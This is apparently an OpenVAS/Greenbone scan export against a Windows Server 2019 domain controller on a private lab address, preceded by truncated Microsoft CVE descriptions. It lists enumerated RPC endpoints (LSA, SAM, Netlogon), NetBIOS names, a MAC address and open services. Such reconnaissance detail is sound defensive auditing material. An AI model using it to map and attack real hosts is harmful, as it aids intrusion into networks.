[CVE-2009-2503] GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Windows Server 2003 SP2, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 does not properly allocate an unspecified buffer, which allows remote attackers to execute arbitrary code via a crafted TIFF image file that triggers memory corruption, aka "GDI+ TIFF Memory Corruption Vulnerability."
[CVE-2009-2502] Buffer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted TIFF image file, aka "GDI+ TIFF Buffer Overflow Vulnerability."
[CVE-2009-2501] Heap-based buffer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted PNG image file, aka "GDI+ PNG Heap Overflow Vulnerability."
[CVE-2009-2500] Integer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted WMF image file, aka "GDI+ WMF Integer Overflow Vulnerability."
[CVE-2009-2498] Microsoft Windows Media Format Runtime 9.0, 9.5, and 11 and Windows Media Services 9.1 and 2008 do not properly parse malformed headers in Advanced Systems Format (ASF) files, which allows remote attackers to execute arbitrary code via a crafted (1) .asf, (2) .wmv, or (3) .wma file, aka "Windows Media Header Parsing Invalid Free Vulnerability."
[CVE-2009-1535] The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.
[CVE-2009-1216] Multiple unspecified vulnerabilities in (1) unlzh.c and (2) unpack.c in the gzip libraries in Microsoft Windows Server 2008, Windows Services for UNIX 3.0 and 3.5, and the Subsystem for UNIX-based Applications (SUA)
[CVE-2009-1122] The WebDAV extension in Microsoft Internet Information Services (IIS) 5.0 on Windows 2000 SP4 does not properly decode URLs, which allows remote attackers to bypass authentication, and possibly read or create files, via a crafted HTTP request, aka "IIS 5.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1535.
[CVE-2009-0550] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008
[CVE-2009-0419] Microsoft XML Core Services, as used in Microsoft Expression Web, Office, Internet Explorer 6 and 7, and other products, does not properly restrict access from web pages to Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism.  NOTE: this issue reportedly exists because of an incomplete fix for CVE-2008-4033.
[CVE-2009-0089] Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, and Vista Gold allows remote web servers to impersonate arbitrary https web sites by using DNS spoofing to "forward a connection" to a different https web site that has a valid certificate matching its own domain name, but not a certificate matching the domain name of the host requested by the user, aka "Windows HTTP Services Certificate Name Mismatch Vulnerability."
[CVE-2009-0086] Integer underflow in Windows HTTP Services (aka WinHTTP) in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, and Server 2008 allows remote HTTP servers to execute arbitrary code via crafted parameter values in a response, related to error handling, aka "Windows HTTP Services Integer Underflow Vulnerability."
[CVE-2008-5232] Buffer overflow in the CallHTMLHelp method in the Microsoft Windows Media Services ActiveX control in nskey.dll 4.1.00.3917 in Windows Media Services on Microsoft Windows NT and 2000, and Avaya Media and Message Application servers, allows remote attackers to execute arbitrary code via a long argument.  NOTE: the provenance of this information is unknown
[CVE-2008-4301] ** DISPUTED **  A certain ActiveX control in iisext.dll in Microsoft Internet Information Services (IIS) allows remote attackers to set a password via a string argument to the SetPassword method.  NOTE: this issue could not be reproduced by a reliable third party.  In addition, the original researcher is unreliable.  Therefore the original disclosure is probably erroneous.
[CVE-2008-4300] A certain ActiveX control in adsiis.dll in Microsoft Internet Information Services (IIS) allows remote attackers to cause a denial of service (browser crash) via a long string in the second argument to the GetObject method.  NOTE: this issue was disclosed by an unreliable researcher, so it might be incorrect.
[CVE-2008-4033] Cross-domain vulnerability in Microsoft XML Core Services 3.0 through 6.0, as used in Microsoft Expression Web, Office, Internet Explorer, and other products, allows remote attackers to obtain sensitive information from another domain and corrupt the session state via HTTP request header fields, as demonstrated by the Transfer-Encoding field, aka "MSXML Header Request Vulnerability."
[CVE-2008-4029] Cross-domain vulnerability in Microsoft XML Core Services 3.0 and 4.0, as used in Internet Explorer, allows remote attackers to obtain sensitive information from another domain via a crafted XML document, related to improper error checks for external DTDs, aka "MSXML DTD Cross-Domain Scripting Vulnerability."
[CVE-2008-3015] Integer overflow in gdiplus.dll in GDI+ in Microsoft Office XP SP3, Office 2003 SP2 and SP3, 2007 Microsoft Office System Gold and SP1, Visio 2002 SP2, Powe		N/A
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		name		owner/name		modification_time		comment		creation_time		report/_id		task/name		task/_id		host/asset/_asset_id		host/hostname		host/__text		port		nvt/type		nvt/name		nvt/family		nvt/cvss_base		nvt/severities/severity/origin		nvt/severities/severity/date		nvt/severities/severity/score		nvt/severities/severity/value		nvt/severities/severity/_type		nvt/severities/_score		nvt/tags		nvt/solution/_type		nvt/solution/__text		nvt/_oid		scan_nvt_version		threat		severity		qod/value		qod/type		description		original_threat		original_severity		_id		nvt/refs/ref/0/_type		nvt/refs/ref/0/_id		nvt/refs/ref/1/_type		nvt/refs/ref/1/_id		nvt/refs/ref/2/_type		nvt/refs/ref/2/_id		nvt/refs/ref/3/_type		nvt/refs/ref/3/_id		nvt/refs/ref/4/_type		nvt/refs/ref/4/_id		nvt/refs/ref/5/_type		nvt/refs/ref/5/_id		nvt/refs/ref/6/_type		nvt/refs/ref/6/_id		nvt/refs/ref/7/_type		nvt/refs/ref/7/_id		nvt/refs/ref/8/_type		nvt/refs/ref/8/_id		nvt/refs/ref/9/_type		nvt/refs/ref/9/_id		nvt/refs/ref/10/_type		nvt/refs/ref/10/_id		nvt/refs/ref/11/_type		nvt/refs/ref/11/_id		nvt/refs/ref/12/_type		nvt/refs/ref/12/_id		nvt/refs/ref/13/_type		nvt/refs/ref/13/_id		nvt/refs/ref/14/_type		nvt/refs/ref/14/_id		nvt/refs/ref/15/_type		nvt/refs/ref/15/_id		nvt/refs/ref/16/_type		nvt/refs/ref/16/_id		nvt/refs/ref/17/_type		nvt/refs/ref/17/_id		nvt/refs/ref/18/_type		nvt/refs/ref/18/_id		nvt/refs/ref/19/_type		nvt/refs/ref/19/_id		nvt/refs/ref/20/_type		nvt/refs/ref/20/_id		nvt/refs/ref/21/_type		nvt/refs/ref/21/_id		nvt/refs/ref/22/_type		nvt/refs/ref/22/_id		nvt/refs/ref/23/_type		nvt/refs/ref/23/_id		nvt/refs/ref/24/_type		nvt/refs/ref/24/_id		nvt/refs/ref/25/_type		nvt/refs/ref/25/_id		nvt/refs/ref/26/_type		nvt/refs/ref/26/_id		nvt/refs/ref/27/_type		nvt/refs/ref/27/_id		nvt/refs/ref/28/_type		nvt/refs/ref/28/_id		nvt/refs/ref/29/_type		nvt/refs/ref/29/_id		nvt/refs/ref/30/_type		nvt/refs/ref/30/_id		nvt/refs/ref/31/_type		nvt/refs/ref/31/_id		nvt/refs/ref/32/_type		nvt/refs/ref/32/_id		nvt/refs/ref/33/_type		nvt/refs/ref/33/_id		nvt/refs/ref/34/_type		nvt/refs/ref/34/_id		nvt/refs/ref/35/_type		nvt/refs/ref/35/_id		nvt/refs/ref/36/_type		nvt/refs/ref/36/_id		nvt/refs/ref/37/_type		nvt/refs/ref/37/_id		nvt/refs/ref/38/_type		nvt/refs/ref/38/_id		nvt/refs/ref/39/_type		nvt/refs/ref/39/_id		nvt/refs/ref/40/_type		nvt/refs/ref/40/_id		nvt/refs/ref/41/_type		nvt/refs/ref/41/_id		nvt/refs/ref/42/_type		nvt/refs/ref/42/_id		nvt/refs/ref/43/_type		nvt/refs/ref/43/_id		nvt/refs/ref/44/_type		nvt/refs/ref/44/_id		nvt/refs/ref/45/_type		nvt/refs/ref/45/_id		nvt/refs/ref/46/_type		nvt/refs/ref/46/_id		nvt/refs/ref/47/_type		nvt/refs/ref/47/_id		nvt/refs/ref/48/_type		nvt/refs/ref/48/_id		nvt/refs/ref/49/_type		nvt/refs/ref/49/_id		nvt/refs/ref/50/_type		nvt/refs/ref/50/_id		nvt/refs/ref/51/_type		nvt/refs/ref/51/_id		nvt/refs/ref/52/_type		nvt/refs/ref/52/_id		nvt/refs/ref/53/_type		nvt/refs/ref/53/_id		nvt/refs/ref/54/_type		nvt/refs/ref/54/_id		nvt/refs/ref/55/_type		nvt/refs/ref/55/_id		nvt/refs/ref/56/_type		nvt/refs/ref/56/_id		nvt/refs/ref/57/_type		nvt/refs/ref/57/_id		nvt/refs/ref/58/_type		nvt/refs/ref/58/_id		nvt/refs/ref/59/_type		nvt/refs/ref/59/_id		nvt/refs/ref/60/_type		nvt/refs/ref/60/_id		nvt/refs/ref/61/_type		nvt/refs/ref/61/_id		nvt/refs/ref/62/_type		nvt/refs/ref/62/_id		nvt/refs/ref/63/_type		nvt/refs/ref/63/_id		nvt/refs/ref/64/_type		nvt/refs/ref/64/_id		nvt/refs/ref/65/_type		nvt/refs/ref/65/_id		nvt/refs/ref/66/_type		nvt/refs/ref/66/_id		nvt/refs/ref/67/_type		nvt/refs/ref/67/_id		nvt/refs/ref/68/_type		nvt/refs/ref/68/_id		nvt/refs/ref/69/_type		nvt/refs/ref/69/_id		nvt/refs/ref/70/_type		nvt/refs/ref/70/_id		nvt/refs/ref/71/_type		nvt/refs/ref/71/_id		nvt/refs/ref/72/_type		nvt/refs/ref/72/_id		nvt/refs/ref/73/_type		nvt/refs/ref/73/_id		nvt/refs/ref/74/_type		nvt/refs/ref/74/_id		nvt/refs/ref/75/_type		nvt/refs/ref/75/_id		nvt/refs/ref/76/_type		nvt/refs/ref/76/_id		nvt/refs/ref/77/_type		nvt/refs/ref/77/_id		nvt/refs/ref/78/_type		nvt/refs/ref/78/_id		nvt/refs/ref/79/_type		nvt/refs/ref/79/_id		nvt/refs/ref/80/_type		nvt/refs/ref/80/_id		nvt/refs/ref/81/_type		nvt/refs/ref/81/_id		nvt/refs/ref/82/_type		nvt/refs/ref/82/_id		nvt/refs/ref/83/_type		nvt/refs/ref/83/_id		nvt/refs/ref/84/_type		nvt/refs/ref/84/_id		nvt/refs/ref/85/_type		nvt/refs/ref/85/_id		nvt/refs/ref/86/_type		nvt/refs/ref/86/_id		nvt/refs/ref/87/_type		nvt/refs/ref/87/_id		nvt/refs/ref/88/_type		nvt/refs/ref/88/_id		nvt/refs/ref/89/_type		nvt/refs/ref/89/_id		nvt/refs/ref/90/_type		nvt/refs/ref/90/_id		nvt/refs/ref/91/_type		nvt/refs/ref/91/_id		nvt/refs/ref/92/_type		nvt/refs/ref/92/_id		nvt/refs/ref/93/_type		nvt/refs/ref/93/_id		nvt/refs/ref/94/_type		nvt/refs/ref/94/_id		nvt/refs/ref/95/_type		nvt/refs/ref/95/_id		nvt/refs/ref/96/_type		nvt/refs/ref/96/_id		nvt/refs/ref/97/_type		nvt/refs/ref/97/_id		nvt/refs/ref/98/_type		nvt/refs/ref/98/_id		nvt/refs/ref/99/_type		nvt/refs/ref/99/_id		nvt/refs/ref/100/_type		nvt/refs/ref/100/_id		nvt/refs/ref/101/_type		nvt/refs/ref/101/_id		nvt/refs/ref/102/_type		nvt/refs/ref/102/_id		nvt/refs/ref/103/_type		nvt/refs/ref/103/_id		nvt/refs/ref/104/_type		nvt/refs/ref/104/_id		nvt/refs/ref/105/_type		nvt/refs/ref/105/_id		nvt/refs/ref/106/_type		nvt/refs/ref/106/_id		nvt/refs/ref/107/_type		nvt/refs/ref/107/_id		nvt/refs/ref/108/_type		nvt/refs/ref/108/_id		nvt/refs/ref/109/_type		nvt/refs/ref/109/_id		nvt/refs/ref/110/_type		nvt/refs/ref/110/_id		nvt/refs/ref/111/_type		nvt/refs/ref/111/_id

		Network Time Protocol (NTP) / NTPd Detection (Remote)		admin		2022-07-26T17:21:24Z				2022-07-26T17:21:24Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		123/udp		nvt		Network Time Protocol (NTP) / NTPd Detection (Remote)		Product detection		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Detection of services supporting the Network Time Protocol

  (NTP). In addition to the protocol itself the existence of the ntpd (NTPd) daemon is detected

  as well.|insight=It is possible to determine a lot of information about the

  remote host by querying the NTP variables - these include OS descriptor, and time settings.|affected=|impact=|solution=Quickfix: Restrict default access to ignore all info packets.|vuldetect=|solution_type=				Quickfix: Restrict default access to ignore all info packets.		1.3.6.1.4.1.25623.1.0.10884		2021-09-24T13:56:13Z		Log		0		80						Log		0		87d6f6ba-1526-4038-b361-b944ee7d106e

		DCE/RPC and MSRPC Services Enumeration Reporting		admin		2022-07-26T20:54:44Z				2022-07-26T20:54:44Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		135/tcp		nvt		DCE/RPC and MSRPC Services Enumeration Reporting		Windows		5				2017-01-12T14:08:04Z		5		AV:N/AC:L/Au:N/C:P/I:N/A:N		cvss_base_v2		5		cvss_base_vector=AV:N/AC:L/Au:N/C:P/I:N/A:N|summary=Distributed Computing Environment / Remote Procedure Calls (DCE/RPC) or MSRPC services running

  on the remote host can be enumerated by connecting on port 135 and doing the appropriate queries.|insight=|affected=|impact=An attacker may use this fact to gain more knowledge

  about the remote host.|solution=Filter incoming traffic to this ports.|vuldetect=|solution_type=Mitigation		Mitigation		Filter incoming traffic to this ports.		1.3.6.1.4.1.25623.1.0.10736		2022-06-03T10:17:07Z		Medium		5		80				Here is the list of DCE/RPC or MSRPC services running on this host via the TCP protocol:



Port: 49664/tcp



     UUID: d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49664]



Port: 49665/tcp



     UUID: f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49665]

     Annotation: Event log TCPIP



Port: 49666/tcp



     UUID: 3a9ef155-691d-4449-8d05-09ad57031823, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49666]



     UUID: 86d35949-83c9-4044-b424-db363231fd0c, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49666]



Port: 49667/tcp



     UUID: 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: RemoteAccessCheck



     UUID: 12345678-1234-abcd-ef00-01234567cffb, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Named pipe : lsass

     Win32 service or process : Netlogon

     Description : Net Logon service



     UUID: 12345778-1234-abcd-ef00-0123456789ab, version 0

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Named pipe : lsass

     Win32 service or process : lsass.exe

     Description : LSA access



     UUID: 12345778-1234-abcd-ef00-0123456789ac, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Named pipe : lsass

     Win32 service or process : lsass.exe

     Description : SAM access



     UUID: 51a227ae-825b-41f2-b4a9-1ac9557a1018, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: Ngc Pop Key Service



     UUID: 8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: Ngc Pop Key Service



     UUID: b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 2

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: KeyIso



     UUID: c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: Impl friendly name



     UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4

     Endpoint: ncacn_ip_tcp:192.168.186.128[49667]

     Annotation: MS NT Directory DRS Interface



Port: 49669/tcp



     UUID: 29770a8f-829b-4158-90a2-78cd488501f7, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49669]



Port: 49670/tcp



     UUID: 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Annotation: RemoteAccessCheck



     UUID: 12345678-1234-abcd-ef00-01234567cffb, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Named pipe : lsass

     Win32 service or process : Netlogon

     Description : Net Logon service



     UUID: 12345778-1234-abcd-ef00-0123456789ab, version 0

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Named pipe : lsass

     Win32 service or process : lsass.exe

     Description : LSA access



     UUID: 12345778-1234-abcd-ef00-0123456789ac, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Named pipe : lsass

     Win32 service or process : lsass.exe

     Description : SAM access



     UUID: 51a227ae-825b-41f2-b4a9-1ac9557a1018, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Annotation: Ngc Pop Key Service



     UUID: 8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Annotation: Ngc Pop Key Service



     UUID: b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 2

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Annotation: KeyIso



     UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4

     Endpoint: ncacn_ip_tcp:192.168.186.128[49670]

     Annotation: MS NT Directory DRS Interface



Port: 49671/tcp



     UUID: 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0

     Endpoint: ncacn_http:192.168.186.128[49671]

     Annotation: RemoteAccessCheck



     UUID: 12345678-1234-abcd-ef00-01234567cffb, version 1

     Endpoint: ncacn_http:192.168.186.128[49671]

     Named pipe : lsass

     Win32 service or process : Netlogon

     Description : Net Logon service



     UUID: 12345778-1234-abcd-ef00-0123456789ab, version 0

     Endpoint: ncacn_http:192.168.186.128[49671]

     Named pipe : lsass

     Win32 service or process : lsass.exe

     Description : LSA access



     UUID: 51a227ae-825b-41f2-b4a9-1ac9557a1018, version 1

     Endpoint: ncacn_http:192.168.186.128[49671]

     Annotation: Ngc Pop Key Service



     UUID: 8fb74744-b2ff-4c00-be0d-9ef9a191fe1b, version 1

     Endpoint: ncacn_http:192.168.186.128[49671]

     Annotation: Ngc Pop Key Service



     UUID: b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 2

     Endpoint: ncacn_http:192.168.186.128[49671]

     Annotation: KeyIso



     UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4

     Endpoint: ncacn_http:192.168.186.128[49671]

     Annotation: MS NT Directory DRS Interface



Port: 49672/tcp



     UUID: 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49672]



     UUID: 12345678-1234-abcd-ef00-0123456789ab, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49672]

     Named pipe : spoolss

     Win32 service or process : spoolsv.exe

     Description : Spooler service



     UUID: 4a452661-8290-4b36-8fbe-7f4093a94978, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49672]



     UUID: 76f03f96-cdfd-44fc-a22c-64950a001209, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49672]



     UUID: ae33069b-a2a8-46ee-a235-ddfd339be281, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49672]



Port: 49678/tcp



     UUID: 367abb81-9844-35f1-ad32-98f038001003, version 2

     Endpoint: ncacn_ip_tcp:192.168.186.128[49678]



Port: 49883/tcp



     UUID: 50abc2a4-574d-40b3-9d66-ee4fd5fba076, version 5

     Endpoint: ncacn_ip_tcp:192.168.186.128[49883]

     Named pipe : dnsserver

     Win32 service or process : dns.exe

     Description : DNS Server



Port: 49925/tcp



     UUID: 897e2e5f-93f3-4376-9c9c-fd2277495c27, version 1

     Endpoint: ncacn_ip_tcp:192.168.186.128[49925]

     Annotation: Frs2 Service



Port: 49937/tcp



     UUID: 91ae6020-9e3c-11cf-8d7c-00aa00c091be, version 0

     Endpoint: ncacn_ip_tcp:192.168.186.128[49937]

     Named pipe : cert

     Win32 service or process : certsrv.exe

     Description : Certificate service



Note: DCE/RPC or MSRPC services running on this host locally were identified. Reporting this list is not enabled by default due to the possible large size of this list. See the script preferences to enable this reporting.		Medium		5		f69fddc0-149d-46a4-b447-44104707ea7e

		DCE/RPC and MSRPC Services Enumeration		admin		2022-07-26T17:23:19Z				2022-07-26T17:23:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		135/tcp		nvt		DCE/RPC and MSRPC Services Enumeration		Service detection		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Distributed Computing Environment / Remote Procedure Calls (DCE/RPC) or MSRPC services running

  on the remote host can be enumerated by connecting on port 135 and doing the appropriate queries.



  The actual reporting takes place in the NVT 'DCE/RPC and MSRPC Services Enumeration Reporting'

  (OID: 1.3.6.1.4.1.25623.1.0.10736)|insight=|affected=|impact=An attacker may use this fact to gain more knowledge

  about the remote host.|solution=Filter incoming traffic to this port.|vuldetect=|solution_type=Mitigation		Mitigation		Filter incoming traffic to this port.		1.3.6.1.4.1.25623.1.0.108044		2021-04-15T13:23:31Z		Log		0		80				A DCE endpoint resolution service seems to be running on this port.		Log		0		dd06d4fc-86c9-4279-a714-07a3ea11772f

		Using NetBIOS to retrieve information from a SMB host		admin		2022-07-26T17:23:19Z				2022-07-26T17:23:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		137/udp		nvt		Using NetBIOS to retrieve information from a SMB host		Service detection		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script is using NetBIOS (port UDP:137) to retrieve information

  from a SMB host.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10150		2021-04-15T13:23:31Z		Log		0		80				The following 5 NetBIOS names have been gathered :

 DC              = Workgroup / Domain name

 DC              = Workgroup / Domain name (Domain Controller)

 WIN-SERV-19-DC  = This is the computer name.



The remote host has the following MAC address on its adapter :

 00:0c:29:df:e8:38



If you do not want to allow everyone to find the NetBIOS name of your computer, you should filter incoming traffic to this port.		Log		0		da150d27-7065-4804-a551-d61e9244d07d

		SMB/CIFS Server Detection		admin		2022-07-26T17:23:19Z				2022-07-26T17:23:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		139/tcp		nvt		SMB/CIFS Server Detection		Service detection		0				2006-03-26T16:10:09Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script detects whether port 445 and 139 are open and

  if they are running a CIFS/SMB server.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.11011		2020-11-10T15:30:28Z		Log		0		80				A SMB server is running on this port		Log		0		71ca55b2-c6b4-4d62-896d-e3bf5524ee55

		Unknown OS and Service Banner Reporting		admin		2022-07-26T19:02:42Z				2022-07-26T19:02:42Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		2179/tcp		nvt		Unknown OS and Service Banner Reporting		Service detection		0				2018-05-02T08:53:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This NVT consolidates and reports the information collected by

  the following NVTs:



  - Collect banner of unknown services (OID: 1.3.6.1.4.1.25623.1.0.11154)



  - Service Detection (unknown) with nmap (OID: 1.3.6.1.4.1.25623.1.0.66286)



  - Service Detection (wrapped) with nmap (OID: 1.3.6.1.4.1.25623.1.0.108525)



  - OS Detection Consolidation and Reporting (OID: 1.3.6.1.4.1.25623.1.0.105937)



  If you know any of the information reported here, please send the full output to

  the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.108441		2019-01-03T20:41:17Z		Log		0		80				Nmap service detection (unknown) result for this port: vmrdp



This is a guess. A confident identification of the service was not possible.



Hint: If you're running a recent nmap version try to run nmap with the following command: 'nmap -sV -Pn -p 2179 192.168.186.128' and submit a possible collected fingerprint to the nmap database.		Log		0		1da805b9-0a5d-4a87-b168-c6db8b8c12be		url		https://community.greenbone.net/c/vulnerability-tests

		CGI Scanning Consolidation		admin		2022-07-26T20:09:04Z				2022-07-26T20:09:04Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3000/tcp		nvt		CGI Scanning Consolidation		Web application abuses		0				2015-09-14T05:00:00Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The script consolidates various information for CGI scanning.



  This information is based on the following scripts / settings:



  - HTTP-Version Detection (OID: 1.3.6.1.4.1.25623.1.0.100034)



  - No 404 check (OID: 1.3.6.1.4.1.25623.1.0.10386)



  - Web mirroring / webmirror.nasl (OID: 1.3.6.1.4.1.25623.1.0.10662)



  - Directory Scanner / DDI_Directory_Scanner.nasl (OID: 1.3.6.1.4.1.25623.1.0.11032)



  - The configured 'cgi_path' within the 'Scanner Preferences' of the scan config in use



  - The configured 'Enable CGI scanning', 'Enable generic web application scanning' and

    'Add historic /scripts and /cgi-bin to directories for CGI scanning' within the

    'Global variable settings' of the scan config in use



